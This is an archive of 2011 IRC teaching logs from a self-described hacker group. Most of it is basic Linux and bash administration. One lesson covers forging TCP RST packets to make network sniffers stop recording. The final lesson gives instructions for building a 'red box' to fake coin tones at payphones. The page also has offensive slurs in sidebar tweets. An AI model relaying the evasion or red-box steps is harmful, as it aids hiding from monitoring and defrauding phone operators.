Evading monitoring systems & sniffers (by hatter)

Posted by xoxo on June 11, 2011 None comments

_____

EVADING MONITORING SYSTEMS & SNIFFERS (by hatter)

_____

* hatter sets mode +m #school4lulz
<hatter> Back in the day, people used to hijack ISN (internet sequence numbers) from packets
<hatter> And this allowed them to predict future ISN's
<hatter> and do something called simplex mode tcpip hijacking on ongoing connections
<hatter> to mitigate this,
<hatter> ISN's became unpredictable
<epixoip> (also allowed them to do tcp rst attacks)
<hatter> ^
<hatter> If a packet has the wrong sequence
<hatter> A host will simply ignore it now.
<hatter> Sniffers can't tell if a packet has the right or wrong sequence
<hatter> for the same reason you can't do hijacking
<hatter> So, some sniffers
<hatter> will quit recording
<hatter> if you spoof an RST handshake with bad ISN's
<hatter> the hosts will just ignore the traffic
<hatter> but the sniffer will quit recording
<hatter> if the sniffer is performing an MiTM attack
<hatter> it may overwrite the packet to a real fin/rst handshake
<hatter> or simply quit routing your traffic.
<hatter> you can use the tcpip injector application
<hatter> called nemesis
<hatter> to forge these packets
<hatter> in combination with netstat and awk
<hatter> you can generate false connection hang ups
<hatter> just like the 2600 hz tone for the phone line used to work
* hatter sets mode -m #school4lulz

Server configuration (by hatter)

Posted by xoxo on June 11, 2011 None comments

_____

SERVER CONFIGURATION (by hatter)

_____

* hatter sets mode +m #school4lulz
<hatter> not we're talking server configurations
<hatter> there's a lot of those
<hatter> so we'll go with a common config
<hatter> exim, mysql, apache, php
<hatter> less common configs include qmail, dovecot, courier, lighttpd, ngingx, ruby, java, etc
<hatter> usually your configuration files are either in your /etc/ directory, or in /usr/local /servicename/conf
<hatter> you will have /etc/exim.conf, /etc/apache2/apache.conf, /etc/php/php.ini
* adh (~Nate@LulzCo-8EF823D1.hsd1.md.comcast.net) has left #school4lulz
<hatter> /etc/my.cnf
<hatter> the mysql client on some systems has its own configuration in ~/.my.cnf
* adh (~Nate@LulzCo-8EF823D1.hsd1.md.comcast.net) has joined #school4lulz
* curi0us (~S@LulzCo-879302C5.torservers.net) has joined #school4lulz
<hatter> apache has virtual hosts. in some cases, they are all stored in one big conf file, in others, they have a directory and are split into different files.
<lolwat> /etc/httpd/conf
<lolwat> for apache on some distros
* i0dic has quit (Remote host closed the connection)
<hatter> (all of these programs can be installed with your package management software usually)
* i0dic (~i0dic@LulzCo-CB9E1773.formlessnetworking.net) has joined #school4lulz
<xoxo> (/opt/lamp/… for lamp. i love it! :3)
<hatter> 😃
* suckmyace (~suckmyace@LulzCo-9995A3E5.red.bezeqint.net) has left #school4lulz
* suckmyace (~suckmyace@LulzCo-9995A3E5.red.bezeqint.net) has joined #school4lulz
<hatter> these configs for apache will have the ip address to listen on, the hostname, and the web root along with any subdomain or extra domain information for a site.
<hatter> many servers have multiple ip addresses.

Search: type, hit enter SEARCH

Recent Posts

HTTP (by hatter)
SQL (by hatter)
Advanced Botnet Structure and Theory (by Fox, Xopchipili, Jester, and D0ct0r
Advanced Doxing (by Fox and nachash)
Mass Exploitation

Twitter Activity

- SavitriVonH4x said: Will I write today? Will try to. #school4lulz
- h4ckfox said: @K4rNaj also hatter is co founder of this shit. Don't forget your teachers son.
- h4ckfox said: @K4rNaj we are good friends with the former @LulzSec and share common goals. That article is fine except we did this of our own volition
- SavitriVonH4x said: @h4ckfox we need to get hatter on twitter, badly. Oh, and I need to pick a font for the courses. 'sup?
- SavitriVonH4x said: @benben392, your handle reminds me of JB Condat, infamous french carder and fucking gvt' snitch of the 80's. Welcome on watch list.
- h4ckfox said: In rural south Carolina tourist trap hell exotic means shaped like a dick.
- h4ckfox said: @haha278 someone needs to read the feed. Told you niggers for two days we are moving
- SavitriVonH4x said: Today, let's cryptoloop all that Ubuntu and put bombs all around. Yeah, not a Debian, not an Arch, not a Gentoo. I felt lazy… as often.
- SavitriVonH4x said: @In4TehLulzl33t because 40 have been went thru and after comes 108, **or** myriads. Symbolic numbers, heh. Anyway, the spirit carries on :-)
- h4ckfox said: Advanced Acceptance letters have been sent out. We're all chilling in #school4lulz right now, drop by and say hello.

Visitors Online

0 visitor(s) online
powered by WassUp

Archives

* i0dic has quit (Remote host closed the connection)
 Δ Top
<hatter> You can copy entries from there and reconfigure them as necessary
* i0dic (~i0dic@LulzCo-7239976D.formlessnetworking.net) has joined #school4lulz
<hatter> if you have absolutely no idea
<hatter> where your configs are
<hatter> find / -name apache.conf -o -name httpd.conf -o -name apache2.conf
<hatter> this will also contain the location of your logs
<xoxo> ^(the wonders of linux)
* MrLinux (~mail@LulzCo-4D35FFA3.goeaston.net) has joined #school4lulz
<hatter> find / -name exim.conf -o -name exim4.conf
<hatter> etc
<hatter> if you're only checking a certain configuration option
<hatter> you can just
<hatter> find / -name apache.conf -exec grep -eiHnE9 documentroot '{}' \;
* suckmyace has quit (Quit: Want to be different? Try HydraIRC -> http://www.hydrairc.com <-)
<hatter> that'll typically give you a full vhost output.
<hatter> you can also grep -i data /etc/my.cnf
<hatter> to find the data directory for mysql
* chkkit has quit (Ping timeout: 240 seconds)
<hatter> typically in /var/lib/mysql
<hatter> All your databases etc and tables will be there
<hatter> There are multiple formats (MyIsam, INNODB) that these files could be in.
<hatter> do NOT rm these files
<hatter> unless you are intentionally breaking shit.
<hatter> all of the log files can be accessed with tail -f
<hatter> if something's not working right, you can tail -f the apache log while hitting refresh on a page
<hatter> or if its a sql query, the mysql error log
<hatter> etc
<hatter> to create a new database & user
<hatter> you'll want to type
<hatter> mysql -u root -p
<hatter> enter the root mysql password
<hatter> then
<hatter> CREATE DATABASE databasename;
<hatter> CREATE USER databaseuser;
<hatter> update mysql.user set password=PASSWORD('thepassword') where user='databaseuser';
<hatter> grant all on databasename.* to 'databaseuser'@localhost identified by 'thepassword';
<hatter> grant all on databasename.* to 'databaseuser'@'localhost' identified by 'thepassword';
<hatter> flush privileges
<hatter> \q
<hatter> now you have a new database
<hatter> to install an app like wordpress
<hatter> etc
<hatter> sometimes you just move an installation
<hatter> and you'd like to run a massive find and replace on your config files
hatter> sed -i s/old\/path\//new\/path/g /path/to/config
<hatter> sed -i.bak s/old\/path\//new\/path/g /path/to/config
* criticalmass (~criticalm@LulzCo-1FC57423.lightspeed.nsvltn.sbcglobal.net) has joined #school4lulz
<hatter> will provide a bak file for you
<hatter> in case you screwed up
<hatter> awk is a powerful tool
<hatter> it converts columns into $1 $2 etc
<hatter> ps faux|awk '{print $1}'
<hatter> prints only the user column
<hatter> you could also do that
<hatter> with ps -eo user
<hatter> ps faux|awk '{print $2}'
<hatter> gives you the pid, the second column
<hatter> if you want to separate something comma delimited
<hatter> a csv for example
<hatter> you could do something like
<hatter> awk -F, '{print "Username: "$1" Password:"$2}' ./file.csv
<hatter> you could also wrap data in html tags
<hatter> the -F flag is used to specify a delimiter.
* curi0us has quit (Quit: Leaving.)
<hatter> cut is like awk, except it can ony print one columns
* dildo_faggins (~dildo_bag@C0860C5F.9B17F29D.4DBE7335.IP) has joined #school4lulz
<hatter> *column
<hatter> you would do cut -d[delimiter] -f[columnnumber]
<hatter> a delimiter can only be one character in cut
<hatter> but in awk it can be a string.
<hatter> sed and awk are also useful tools for cleaning malware
<hatter> from websites
<hatter> since you can use them to edit files, not just command output.
<hatter> whenever you receive command output that you'd usually use as an argument to another
command
<hatter> you can likely use awk, sed, or egrep to make the two commands into one.
<hatter> well, you can always use.
<hatter> whenever you're done constructing additional commands

<hatter> around the arguments that you parsed from the output
<hatter> just tack an |sh on the end
<hatter> and you'll execute the commands you generated.
<hatter> awk can also use regex
<hatter> like egrep.
<hatter> regex is regular expressions
<hatter> if you're searching for somethinig
<hatter> *something
<hatter> you can search by the format of the data
<hatter> not just for data itself
<hatter> say you were looking for an ip address
<hatter> in bash regex
<hatter> a .
<hatter> is a wildcard
<hatter> a *
<hatter> means none or more of the preceeding character
<hatter> a +
* chkkit (~chkkit@LulzCo-FECF7F64.torservers.net) has joined #school4lulz
<hatter> means at least one of the preceeding character
<hatter> you can put sets of characters in lists with brackets. []
<hatter> netstat -tnpa|awk '/\./ {print}'
<hatter> would work
<hatter> but just for clarification
<hatter> you're looking for any digits
<hatter> between 1 and 3
<hatter> digits long
<hatter> and a set of four of them
<hatter> delimited by dots
<hatter> netstat -tnpa|awk '/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/ {print}'
<hatter> netstat is sans pants.
<hatter> netstat -pant.
<hatter> anyway
<lolwat> (omg… still on bash…)
<hatter> Yeah
<xoxo> stop complaining lolwat
<xoxo> at least we get free lessons
<lolwat> i am not complaining lol
<lolwat> =O
<hatter> so any file
<hatter> containing ips
<hatter> or command output
<hatter> ifconfig|egrep '/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/'
* t0bias (~t0bias@3C56B256.CB1BD8B5.3EDA1CE.IP) has joined #school4lulz
<hatter> you can grab line with ips that way.
<hatter> ifconfig|egrep -o '/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/'
<hatter> will show just the ips.
<hatter> and nothing else.
<hatter> So I'm gonna take another break
<hatter> and then we're gonna actually have some fun.
* hatter sets mode -m #school4lulz

Basic bash (by hatter)

Posted by xoxo on June 11, 2011 None comments

_____

BASH (by hatter)

_____

* hatter sets mode +m #school4lulz
<hatter> Alright. So if you have installed linux, you've got bash. If you can't get to a terminal, you probably shouldn't be on linux.
* Fox gives channel half-operator status to xoxo
<hatter> most of the commands covered today will just be how to properly look for help files and how to diagnose issues.
<hatter> you can tell the exact system you're running by typing `uname -a', or by typing `
<hatter> cat /proc/modules'
<hatter> rather
* micja (~quassel@325DBFB5.386E4C12.6EDA1009.IP) has joined #school4lulz
<hatter> /proc/versions
<hatter> /proc/version
<hatter> ***
<hatter> fuck
* Bluesboy has quit ()
<hatter> anyway
<hatter> modules has all the drivers you're running
* JohnDenver (~Doowoop@LulzCo-D5D803E5.signon2.uk.beevpn.com) has joined #school4lulz
<eax> hatter what you teaching?
<hatter> bash

<eax> k
<hatter> lspci has all the hardware you have
<hatter> sometimes its good to make sure that all the stuff in /proc/modules matches lspci output
<hatter> if something's broken at the driver level, that's how to solve the problem. search for the hardware read-out.
<hatter> most distributions use sudo, so you can access the root terminal to do that with sudo -s or sudo su -. Some distributions to not carry path information unless explicitly told to.
<hatter> some of the commands are the same as windows (cd, netstat)
<hatter> but they use different flags
<hatter> netstat -ntpa will give you more or less what you want out of nmap 99% of the time.
<hatter> netstat*
<hatter> if you're stuck trying to figure out how to do something, you might check `info coreutils'.
* Zion has quit (Ping timeout: 240 seconds)
<hatter> Its sort of like an index/glossarry for all of the manuals.
<eax> (man is also good)
<hatter> lsusb may have your built-in webcam in it, if you're trying to get that or maybe a sound system to work.
* vpd (~vpd@vulgarity.displayed) has joined #school4lulz
<hatter> you can use mknod to add device nodes to /dev/ — most machines require at the very least /dev/console and /dev/zero to boot.
<hatter> /proc/cpuinfo will have all of your processor information. if you compile your own kernel, you'll want to know that
<hatter> if you know all of the additional optimizations available to your hardware for gcc, edit makefiles to include them. you'll get much higher performance
<hatter> you can view any logging information in realtime if you want to.
<hatter> most system logs are stored in either /var/log/messages , /var/log/dmesg , or /var/log /everything
<hatter> you can view them live using tail -f
<hatter> while doing this, if you plug-in a piece of hardware to the system over usb
<hatter> on most distributions you can see it create the hardware device, the serial number, and some other info.
<xoxo> ^^ (cat /var/log/messages | tail -f)
<hatter> tail -f /var/log/messages
<hatter> no need for the extra process.
<hatter>
<xoxo>
<hatter> pipes can be good though.
<eax>
<hatter> cut, sed, awk.
<lolwat> also, head
<hatter> I see a lot of people use for loops in bash. stdout->stdin
<hatter> you can stream the data
<xoxo> hatter: what do you mean by streaming the data?
<hatter> for example,
<hatter> say I'm connected to a site -
<hatter> dropbox.
<hatter> tcp 0 0 192.168.0.9:38552 199.47.217.144:80 ESTABLISHED 1467/dropbox
<hatter> say I wanted to kill that connection.
<hatter> root ~ # netstat -ntpa|awk '/dropbox/ {print "kill -9 "$7}'|cut -d/ -f1|sh
<hatter> gone.
<hatter> you kill the program attatched to that when you kill it.
<hatter> you can put IP addresses rather than drop box between the //'s
<hatter> just make sure to put a \ before each .
<hatter> iostat can be used to check your disk i/o
<hatter> if you're doing something harsh to the machinery, you may want to ionice it.
<hatter> ionice is a command that will reduce the i/o rate of an ongoing process
<xoxo> ^ (you need to install sysstat for iostat to workà
<xoxo>)*
<hatter> you can see the ram usage using free -m
<hatter> df -h will show you disk usage
* anonymous (~chatzilla@LulzCo-E7BF8A4B.cable.virginmedia.com) has joined #school4lulz
<hatter> and partitioning information
<lolwat> du -h for file and dir sizes
<hatter> you can see process usage by typing ps faux, or using top cd1
<hatter> kill -9 usually kills a process
<hatter> but when it doesn't
<hatter> you can use kill -15, which is SIGTERM, not SIGKILL.
<hatter> SIGTERM is the signal sent to the process when the hardware is turning off.
<xoxo> (to see what takes so much space on your disk: du -s -k -c * | sort -rn | more)
<hatter> ^lol
<hatter> works well
<hatter>
<xoxo> hatter: du -s -k -c * | sort -rn | more ?
<hatter> yeah
<hatter> I also use |less
<hatter> less is more. more is less.
<hatter> you can use either
<xoxo> complicated things are complicated

<eax> not in the eyes of a bash ninja >_O
<hatter> ifconfig will show you all of your networking interfaces and states
<hatter> you may have to ifconfig a device up in order to use it, e.g. ifconfig eth0 up
<hatter> once that's done you'll still have to request an IP address using dhcpcd, dhclient, or pump.
* anonymous has quit ()
<lolwat> (iwconfig for wireless stuff)
<xoxo> (hatter, i think we should also mention | grep 'wlan0' by example) (would be better using it with a command that has more output) -> grep is a search function
<hatter> your devices are in /dev/
<hatter> (unless they need to have an mknod)
* null- has quit (Ping timeout: 240 seconds)
* m00p has quit (Ping timeout: 240 seconds)
<hatter> you can see eth0, wifi0, or wlan0 (networking) and /dev/hda, /dev/sda/, /dev/hdd , /dev/sdd (disk storage)
<hatter> if you want to see the list of files, type `ls', if you want to see all their permissions as well
<hatter> ls -lash
<lolwat> (some cards can be ath0)
<hatter> ^
<hatter> and ra0
<lolwat> (wireless cards i mean)
<lolwat> ath for atheros
<hatter> ^
<lolwat> ra for ralink
<hatter> Your ram is /dev/mem and the kernel memory is in /dev/kmem.
* Dox (~Dox@523348E1.DF5DE424.9620FB36.IP) has joined #school4lulz
<hatter> typically anything in /proc/modules has access (as a driver) to /dev/kmem which interfaces through the microcode (either in /proc/ or somewhere in /dev/ you just have to find it)
<hatter> microcode is firmware
<hatter> and heavily encrypted
<hatter> but you can do updates to it when they are released from the CPU vendor.
<hatter> amd and intel chips both have microcode.
<hatter> all of your configuration files can be found in /etc/
* adh (~Nate@LulzCo-8EF823D1.hsd1.md.comcast.net) has joined #school4lulz
<hatter> this will include your logging daemon (syslog, metalog) as well as any other programs, for the most part, which you install.
<hatter> there are several files used by bash when you first log-in.
<hatter> .bashrc and .bash_profile
<hatter> these can be used to execute commands
<hatter> on login
<hatter> they are in your home directory
<hatter> typically referred to by ~
<hatter> root /etc # cd ~
<hatter> root ~ #
<lolwat> (other users directories can be referenced as ~lolwat [for the user lolwat])
* tminus has quit (Ping timeout: 240 seconds)
<hatter> ^
<lolwat> usually user dirs reside at /home
<lolwat> except for root, which usually is /root
<hatter> ^
<hatter> you can see mounted filesystems in /proc/mounts
<hatter> cat /proc/mounts
* random has quit (Remote host closed the connection)
<hatter> also by typing `mount', usually.
<hatter> Some systems are damaged or partiallyl installed
* random (~random123@D88DB335.865AC3E5.D37EE7FC.IP) has joined #school4lulz
<hatter> so its good to use the procfs whenever possibly to bypass buggy output
<hatter> you can find almost everything about a process
<hatter> in /proc/pid
<hatter> the pid can be optained
<xoxo> (ps -e)
<hatter> ps faux|grep prog[r]amname
<hatter> that will search for it, if you do not know the whole name of the program
<hatter> for example, I kill firefox a lot
<hatter> some systems use firefox-bin
<hatter> and others just straight firefox
<hatter> for the binary name
<hatter> I don't have to pay attention to that when I kill it
<hatter> because I do
<hatter> ps faux|awk '/prog[r]amname/ {print "kill -9 "$2}'|sh
<hatter> the reason you use brackets in this case
<hatter> is to avoid snagging your own program
* z3rod4ta (~zerodata@LulzCo-3862BB78.santrex.net) has joined #school4lulz
<hatter> and killing it.
<hatter> anyway, the pids can be determined just by doing:
<hatter> ps faux|awk '/prog[r]amname/ {print "PID: "$2}'
<hatter> you can then cd /dev/pid
<hatter> in there are a bunch of different files and folders.
<hatter> you can find open files in fd/
<hatter> you can find used resources in `maps'

<hatter> you can find environment information (say you're getting owned by another user but they've somehow hidden it) in the `environ' file.
<hatter> the commands `w' and `who' tell you who's logged in and where they're logged in from.
* mib_l0w6ug (561992c0@LulzCo-EFFC6835.mibbit.com) has joined #school4lulz
<xoxo> (how can we open 'maps' and 'environ' hatter?)
<hatter> cat.
<hatter> cat /proc/pid/maps
* Fox has changed the topic to: Check the Twitter for New information!|| donations to 18hRWnxoHztBPDYQ9bPA1uUpN8LTrd7xbB for more wargames || Latest Classes are up on Twitter! @h4ckfox || More donations, got a DC in Moscow that lieks us || http://www.ustream.tv/channel/school4lulz
<hatter> cat /proc/pid/environ
<hatter> you can use /proc/self/maps and /proc/self/environ
<hatter> to see the context of your bash session.
<lolwat> also the marvels of tab-completion
* mib_l0w6ug has quit ()
<lolwat> don't think if they were mentioned…
<hatter> yes. when typing this stuff out just use tab
<hatter> when you're halfway through a filename
<hatter> hit tab
<lolwat> some shells allow you to autocomplete on context
<hatter> yep.
<lolwat> like killall -9 fi<TAB>
* JohnDenver has quit ()
<hatter> lol
<lolwat> (some shells, like sh, won't)
<hatter> ^
<hatter> there are many shells
<hatter> zsh, ash, sh, bash, csh, tcsh, etc
<lolwat> /bin/false be the best
<lolwat> most secure of them all =)
<hatter> When securing a system, be sure to chmod 0 any shell that you don't want on the system, or rm -vf it.
<hatter> I use -v on rm so I can see exactly what's being deleted as its being deleted
* _z0x_ has quit (Ping timeout: 240 seconds)
<hatter> so if I do rm -rvf
<hatter> and something goes by and I'm like oh noes
<hatter> I can stop it
<lolwat> i can't stress this enough:
<hatter> before its allll gone
<lolwat> CARE WITH rm
<hatter> ^
<lolwat> there's NO confimation
<hatter> only use
<hatter> srm or shred
<lolwat> if you rm it
<lolwat> you dun goof'd
<hatter> if you reallly want to destroy it
<hatter> you can use the -i flag
<lolwat> (i know this first hand)
<hatter> to make it interactive
<hatter> for rm
<lolwat> when you are on root
<hatter> on some systems, the interactive flag is -a
<lolwat> be VERY, but VERY
<lolwat> careful…
<lolwat> a simple rm *
<lolwat> can fuck up many shit
<hatter> ^
<lolwat> also
<lolwat> don't you dare doing rm -rf /
<hatter> lol
<hatter> rm -rf /dev and rm -rf /proc will really fuck you up
<xoxo> someday i'm wanting to do that on a sony server :p
<hatter> ah yeah
<hatter> runlevels
<hatter> don't do that stuff
<hatter> anyway
<hatter> runlevels
<hatter> init 0 is usually shutdown
<hatter> init 6 is usually reboot
<hatter> depending on the system
<hatter> it may run in runlevel 3 or runlevel 5, or if you're a nut runlevel 2.
<hatter> init will set the runlevvel
<hatter> *runlevel
<hatter> and then the initrc will pick up what applications should be running at that time
<hatter> that info is in /etc/inittab
<xoxo> ^(this one doesn't exist in ubuntu)
<lolwat> (also ubuntu sucks =/)

<hatter> where's it at in ubuntu?
<hatter> lol
<hatter> Now I gotta know.
<hatter> anyway – you also have cron – a scheduling application
<hatter> you should probably use generators you can find on search engines
<hatter> to get a working crontab
<hatter> you can edit your scheduler with crontab -e
<hatter> oh, I almost forgot. On VERY old systems
<lolwat> hatter, according to wikipedia, they use a different shit, called upstart
<hatter> you may have an hme0 network card.
<lolwat> Upstart operates asynchronously — as well as handling the starting of tasks and services during boot and stopping them during shutdown, it supervises them while the system is running.
<hatter> lol
<hatter> Cool.
<xoxo> (what do you use hatter)
<hatter> gentoo
<xoxo> (gonna try it out)
<lolwat> xoxo, or Arch Linux
<hatter> but most of this applies to centos and red hat and slackware etc as well
<xoxo> got it
* Odysseus (~Odysseus@LulzCo-CB9E1773.formlessnetworking.net) has joined #school4lulz
<lolwat> also, the power of sudo
<hatter> /proc/devices has a full device listing.
<lolwat> someone may love it
<hatter> you can edit the sudoers file with /etc/sudoers
<lolwat> visudo
<xoxo> (lolwat when a process needs sudo, it asks for it … so.. no big deal I think)
<hatter> %
<lolwat> xoxo, not quite
<lolwat> sudo is awesome for those people who don't give a fuck
<lolwat> about their root passwd
<hatter> ^
<lolwat> much secure, imho
<lolwat> than doing just su
<hatter> although
<hatter> you could always just get a list of root users
<hatter> if you had physical access to the drive
<hatter> by mounting it
<hatter> then
<lolwat> same shit as su on that regard…
<hatter> grep rootgroop /etc/group
* sabotage (~sabotage@75ED09BB.98401F1.47CB07E1.IP) has joined #school4lulz
<hatter> my root group is usually wheel.
<hatter> some people use root
<lolwat> other use admin
<lolwat> :X
<hatter> ew
<xoxo> some people use 'god'
<hatter> if its a source based distribution
<hatter> you can usually find the kernel source in /usr/src somewhere.
<hatter> along with source code to other things you've installed
<Fox> QUICK 3 MOST USED PASSWORDS!
<lolwat> 123456
<hatter> password
<lolwat> the_username
<lolwat> password
<hatter> lol
<Fox> NO MAN, LOVE, SEX AND GOD.
<hatter> rofl
<Fox> SYSTEM ADMINISTRATORS LOVE TO USE GOD, ITS THAT MALE EGO THING.
<hatter> 'Hackers' movie reference.
<Fox> k i'm done trolling.
<hatter> If you haven't seen it watch it
<Fox> Go ahead.
<xoxo> yea
<t> i have it on my desktop
<hatter> usually the system has a /boot partition
<xoxo> I'm gonna download it this night
<lolwat> Fox has just found out my password…
<hatter> that's where the compiled kernel, and the bootloader configuration file is located.
<lolwat> better change it to 60D
<xoxo> (let's get back to class, please)
* Fox has kicked lolwat from #school4lulz (Trolling over asshole.)
* lolwat (~lolwutder@LulzCo-E8B02DB8.privacyfoundation.ch) has joined #school4lulz
* ChanServ gives voice to lolwat
<hatter> the bootloader configuration will have your kernel and (ifapplicable) your initramfs parameters
<hatter> you can lock a file to examine later and revoke all rights to it to preserve it by typing chmod

000 filename && chatter +ia filename
<lolwat> hatter, do you know if lilo is still used?
<hatter> it may be.
<xoxo> (lolwat: lilo?)
<hatter> chattr +ia filename
<hatter> xoxo: its an old boot loader
<lolwat> lilo: Linux Loader
<hatter> similar to grub
<lolwat> brb gaming time (yes, i do my gaming in linux)
<hatter> anything in /etc/modules.d/
<hatter> if you ever compile that module into your kernel
<hatter> (those are the module config files, sometimes they're in another subdirectory of etc, but
they're there)
<hatter> (find /etc -name modules.d)
<hatter> usually things specific to those modules are passed in as parameters
<hatter> if you compile the module into the kernel
<hatter> then you can pass those parameters to the kernel directly.
hatter> to get a locked file back to read it,
<hatter> chattr -ia filename ; chmod 400 filename
<hatter> package management & source installs
<hatter> two different things.
<hatter> most of the time.
<hatter> on debian/ubuntu the command is apt-get program
<hatter> apt-cache search program
<hatter> on red hat
<hatter> its yum
<hatter> yum search
<hatter> yum install
<xoxo> ^(fedora too)
<hatter> on gentoo its emerge
<hatter> emerge -s
<lolwat> (fedora *is* redhat)
<hatter> emerge -q
<lolwat> on arch linux pacman
<hatter> ^
<hatter> emerge is a special case, because it will compile it from source for you. pacman also has an
option to do this.
<lolwat> hatter in archlinux you can do the same =)
<hatter> pacman also has an option to do this.
<hatter> I just said that.
<hatter> lol
<garrett> Hi guys
<hatter> On systems like arch and gentoo
<hatter> you can install rpm
<hatter> deb
<hatter> etc
<hatter> and install things that install other binaries
<hatter> yum works with rpm packages
<hatter> apt works with deb
* gaybaby (~PRIMETIME@yba.be) has left #school4lulz
* gaybaby (~PRIMETIME@yba.be) has joined #school4lulz
* janick has quit (Quit: Leaving)
<hatter> if you want to view a log file by most recent , you can use `tac' in stead of `cat"
<hatter> And pipe it to less
<hatter> tac filename|less
<hatter> to do a source based install
<hatter> it usually comes in either a .tar.gz, .tgz, .tar.bz2, .tbz2, or a .tar.lzma
<xoxo> ^(make & make install ?)
<hatter> you can use "tar xvzf" for tgz and .tar.gz,
<xoxo> ^(yeah. ofc)
<hatter> tar xjvf for .tar.bz2
* zteppup (~email@LulzCo-EEC8A160.hsd1.ms.comcast.net) has joined #school4lulz
<hatter> etc
<hatter> unlzma
<hatter> you can check the checksums
<hatter> (usually provided)
<hatter> with md5sum, sha1sum, etc
<hatter> cd into the directory and type
<hatter> ./configure
<xoxo> i have something in my .bashrc i'd like to share
<xoxo> # Makes extraction easier
<xoxo> function extract() {
<xoxo> if [-f $1] ; then
<xoxo> case $1 in
<xoxo> *.tar.bz2) tar xvjf $1 ;;
<xoxo> *.tar.gz) tar xvzf $1 ;;
<xoxo> *.bz2) bunzip2 $1 ;;
<xoxo> *.rar) unrar x $1 ;;
<xoxo> *.gz) gunzip $1 ;;

```
<xoxo>            *.tar)      tar xvf $1      ;;
<xoxo>            *.tbz2)     tar xvjf $1     ;;
<xoxo>            *.tgz)      tar xvzf $1     ;;
<xoxo>            *.zip)      unzip $1        ;;
<xoxo>            *.Z)        uncompress $1   ;;
<xoxo>            *.7z)       7z x $1         ;;
<xoxo>            *)          echo "'$1' cannot be extracted via >extract<" ;;
<xoxo>        esac
<xoxo>    else
<xoxo>        echo "'$1' is not a valid file"
<xoxo>    fi
<xoxo> }
```

<hatter> once you get into the directory, type ./configure
<hatter> ./configure –help
<hatter> may give you additional parameters
<hatter> if there are any special changes you'd like to add to your compile options
<hatter> cflags, ldflags, cxxflags, etc
<hatter> you can edit the makefile
<hatter> a good way to determine the location of the code you want to change (line number) is by typing
* zteppup has quit (Remote host closed the connection)
<hatter> grep -iHn "cflags\|cxxflags\|ldflags" Makefile
<hatter> then you can edit that, with pico, nano, emacs, vi, or vim.
* no (~no@LulzCo-6ADE3787.cpe.ge-1-1-0-1104.vbrnqu1.customer.tele.dk) has joined #school4lulz
<hatter> when you are done editing (if you wanted to anyway)
<hatter> type
* deaden (~deaden@LulzCo-7D665767.ga.at.cox.net) has joined #school4lulz
* Snafu (~Snafu@2DD7CC7F.E90C2F8E.9F5DBED3.IP) has joined #school4lulz
<hatter> make -j`grep -ic "core id" /proc/cpuinfo`
* criticalmass has quit ()
<hatter> then when it finishes
<hatter> if it did not error
<hatter> (Sometimes it might be missing a dependency!)
<hatter> type
<hatter> make install
* curi0us (~S@LulzCo-204A77E4.torservers.net) has joined #school4lulz
<hatter> if its missing a dependencr, like if configure or make error out
<hatter> you'll have to download and install the required version yourself, or correct your package manager
<hatter> lol
<hatter> also, if you edited the make file, might want to go make sure all your flags are valid / no typos
<hatter> k
<hatter> 15 minute break.
<hatter> smoking a cigarette.
* hatter sets mode -m #school4lulz
<xoxo> all righty. everything = logged till here

Phone phreaking (by DrAnthrax)

Posted by xoxo on June 11, 2011 None comments

Phone phreaking (by DrAnthrax)
———————————-

<DrAnthrax> Lesson 1 is how to get something for free that WOULD be free, if the service wasn't run by a bunch of profiteering gluttons
<KroaK> we just have to not interrupt
<KroaK> lol
<KroaK> hackers reference ftw
<DrAnthrax> That's right, actually i learned most of what I know from the movie Hackers
<xoxo> DrAnthrax: you mean … the movie
<DrAnthrax> And the rest from really old Phrack text files
<xoxo> in which hacking the gibson appear right?
<KroaK> flu shot
<DrAnthrax> That's right yes although they don't fully explain the hacking techniques
<DrAnthrax> so I'm not sure about the methods involved in hacking a gibson
<DrAnthrax> And to be honest that was from 1995
<DrAnthrax> So i'm sure there have been some patches to the Gibson software
<DrAnthrax> since that documentary was made
<KroaK> lol
<figgybit> on with the class …
<DrAnthrax> Ok
<DrAnthrax> So basically, a lot of people don't know that a red box still works
<DrAnthrax> At least in many states in the US
<DrAnthrax> But
<DrAnthrax> You have to solder in a different crystal
<DrAnthrax> The crystal you want is a 18.45 mhz crystal

<DrAnthrax> And you can get them from radio shack
<DrAnthrax> Now if you didn't know, you solder these into a tone dialer
<DrAnthrax> and when you press the * button
<DrAnthrax> It will register as 25c
<DrAnthrax> In a payphone
<DrAnthrax> Now a word of warning
<DrAnthrax> This doesn't work in ALL payphones
<DrAnthrax> and in some states it doesn't work at all, california and new york specifically although there are no doubt others
<DrAnthrax> What you want to find is an older payphone
<DrAnthrax> and just try it out
<DrAnthrax> If you want to be 100% sure
<DrAnthrax> Then a COCOT will almost ALWAYS work
<DrAnthrax> That's a customer owned, customer operated payphone
<DrAnthrax> Like you'll find in bars etc.
* lolwat has quit (Ping timeout: 240 seconds)
<DrAnthrax> And these often work even in the states I mentioned
<DrAnthrax> Also in Canada, and the United Kingdom, they are surefire
<DrAnthrax> With the same crystal
<DrAnthrax> It just registers a different coin
<figgybit> whats a red box look like? is there an image online?
<DrAnthrax> Well it's just a regular radio shack tone dialer
<DrAnthrax> The thing that makes it a red box is the modifications that you do to it yourself
<xoxo> figgybit: http://hangout.altsounds.com/geek/gars/images/2/redbox.jpg
<figgybit> http://www.biocomp.net/RS_dialer_1.jpg
<DrAnthrax> Haha
<DrAnthrax> Figgybit, yes, exacrlyt
<DrAnthrax> Exactly like that
<DrAnthrax> Now you can paint yours red if you want, it's up to you
<DrAnthrax> I also sometimes write the name of my phreaking group on there
<DrAnthrax> You can use tippex, or a magic marker
<DrAnthrax> It's totally your choice
<DrAnthrax> It's easy to solder in a new crystal too
<DrAnthrax> You just take a soldering iron, and use the solder that is already in there
<DrAnthrax> You heat that up, take out the crystal (you'll recognise it because it looks like the other crystal you bought)
<figgybit> what a crystal look like
<DrAnthrax> Like a diode
<DrAnthrax> or a transistor
<DrAnthrax> just like an electrical component
<DrAnthrax> Now, the thing you have to be careful of at this stage
<figgybit> http://di105.shoppingshadow.com/images/di/64/79/43
/596e396a654e42485233652d697975732d7941-149×149-0-0.jpg
<figgybit> opps
<DrAnthrax> is that the crystal is attached to the circuit board with two little dabs of solder in each terminal
<figgybit>
/2wCEAAkGBhQSERQUExMWFBQVFxgYFxcYHBwYIB0dHR0aGxUgHCYgHhskHSAaHzAgJic1LCwsGR40N
